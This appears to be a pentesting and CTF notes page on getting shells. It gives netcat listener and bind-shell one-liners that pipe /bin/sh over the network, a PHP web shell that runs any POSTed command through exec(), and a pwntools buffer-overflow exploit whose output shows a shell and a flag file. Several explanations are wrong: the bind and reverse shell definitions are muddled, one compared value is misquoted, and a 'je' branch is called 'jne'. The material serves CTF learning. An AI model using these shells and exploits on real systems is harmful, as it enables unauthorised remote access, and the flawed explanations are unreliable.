Reverse Shell

Two kind of reverse shell: bind or reverse shell. The first one, is from the attacker, we bind a shell to the target and the second one, is it’s the target which bind a shell to the attacker.

PHP Reverse shell

Reverse shell

For instance, if the target is a web server, we can upload a reverse-shell in php if the backend is php and we can execute it if we can do. For instance, if we know all upload files are pushed to the /uploads directory, we can do an HTTP request to execute /uploads/php-revers-shell.php, and that will connect to the attacker machine, but, we need to execute NetCat: nc -lvnp 1234

Bind shell

If we have an SSH access to the VM, we can execute this command on the target machine for opening a new port: mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

and on the attacker machine: nc <ip target> 1234. We have a shell to our attacker machine.

Sending file with NetCat

If we want to send file to the target machine with NetCat. On the machine A: nc -lvnp 1234 -q 1 > myFile.txt < /dev/null

And on the machine B: cat myFile.txt | netcat <ip> 1234

NetCat stabilization

After we create a shell between the target and the attacker machine, we need to stabilize the shell, because, if we do a Ctrl+c, that can close the shell, or, we do not have the tabulation. For doing that, after we create the shell, on the attacker machine, in the shell, execute this command:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Then,

PHP injection and reverse shell

For instance, if the application is not well protected, we can execute a reverse shell to have an access to the server:

<h1>Test pentest</h1>

<form action="reverse_shell.php" method="POST">
    <label>Command: </label><input type="text" name="command" /><br />
    <input type="submit" value="Submit" />
</form>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST'){
    exec($_POST['command']);
}
?>

Buffer overflow and reverse shell

For CTF, we can make a buffer overflow attack and to get a reverse shell. For instance, in the disassemble code below, we have the vuln function which gave us a shell:

┌ 158: sym.vuln ();
│           ; var int64_t var_30h @ rbp-0x30
│           ; var uint32_t var_8h @ rbp-0x8
│           0x00001185      55             push rbp
│           0x00001186      4889e5         mov rbp, rsp
│           0x00001189      488d3d780e00.  lea rdi, str.bin_sh         ; 0x2008 ; "/bin/sh"
│           0x00001190      e8abfeffff     call sym.imp.system
│           0x00001195      bf01000000     mov edi, 1
│           0x0000119a      e8e1feffff     call sym.imp.exit
│           ; DATA XREF from entry0 @ 0x10bd

And the function main:

│           0x0000119f      55             push rbp
│           0x000011a0      4889e5         mov rbp, rsp
│           0x000011a3      4883ec30       sub rsp, 0x30
│           0x000011a7      48b841414141.  movabs rax, 0x4141414141414141 ; 'AAAAAAAA'
│           0x000011b1      488945f8       mov qword [var_8h], rax
│           0x000011b5      488d3d540e00.  lea rdi, str.Comment_est_votre_blanquette ; 0x2010 ; "Comment est votre blanquette ?\n>>> "
│           0x000011bc      b800000000     mov eax, 0
│           0x000011c1      e88afeffff     call sym.imp.printf
│           0x000011c6      488b058b2e00.  mov rax, qword [obj.stdout] ; rdi
│                                                                      ; [0x4058:8]=0
│           0x000011cd      4889c7         mov rdi, rax
│           0x000011d0      e89bfeffff     call sym.imp.fflush
│           0x000011d5      488d45d0       lea rax, [var_30h]
│           0x000011d9      4889c7         mov rdi, rax
│           0x000011dc      b800000000     mov eax, 0
│           0x000011e1      e87afeffff     call sym.imp.gets
│           0x000011e6      48b841414141.  movabs rax, 0x4141414141414141 ; 'AAAAAAAA'
│           0x000011f0      483945f8       cmp qword [var_8h], rax
│       ┌─< 0x000011f4      7426           je 0x121c
│       │   0x000011f6      48b888776655.  movabs rax, 0x1122334455667788
│       │   0x00001200      483945f8       cmp qword [var_8h], rax
│      ┌──< 0x00001204      750a           jne 0x1210
│      ││   0x00001206      b800000000     mov eax, 0
│      ││   0x0000120b      e875ffffff     call sym.vuln
│      ││   ; CODE XREF from sym.vuln @ 0x1204
│      └──> 0x00001210      488d3d1d0e00.  lea rdi, str.Almost_there   ; 0x2034 ; "Almost there!"
│       │   0x00001217      e814feffff     call sym.imp.puts
│       │   ; CODE XREF from sym.vuln @ 0x11f4
│       └─> 0x0000121c      b800000000     mov eax, 0
│           0x00001221      c9             leave
└           0x00001222      c3             ret

In the ASM code above, we can see two variables: var\_30h and var\_8h. The first variable is a char [40] and the second one is a long. In the code, we can see different if condition. In the first if, we compare if the RAX register which contains the value 0x4141414142414141 equals with the the var_8h. If yes, we jump (jne) to the address 0x0000121c. Otherwise, we go into the if condition. After that, we move to the registry RAX the value 0x1122334455667788 and to compare if the variable var_8h. If that do not match, we jump (jne) to the address 0x00001210. If that's match, we call to the function vuln and we have the shell. We can make the simply python program to make the buffer overflow attack:

$ python3 -c "print ('B' * 40 + '\x88\x77\x66\x55\x44\x33\x22\x11')" | nc localhost 4000

But, we do not have a shell. Now, we need to create the python program to interect with the Shell we have:

$ cat shell.py
#!/usr/bin/env python3

import pwn

payload = 'B' * 40 + '\x88\x77\x66\x55\x44\x33\x22\x11'
print(payload)

s = pwn.remote("localhost", 4000)
data = s.recvline()
s.sendlineafter(">>>", payload)
s.interactive()

And we can execute it: python3 shell.py:

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBwfUD3"\x11
[+] Opening connection to localhost on port 4000: Done
/home/gbucchino/hackropole/bofbof/test.py:10: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  s.sendlineafter(">>>", payload)
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
 $ ls
bofbof
flag.txt

That's works :)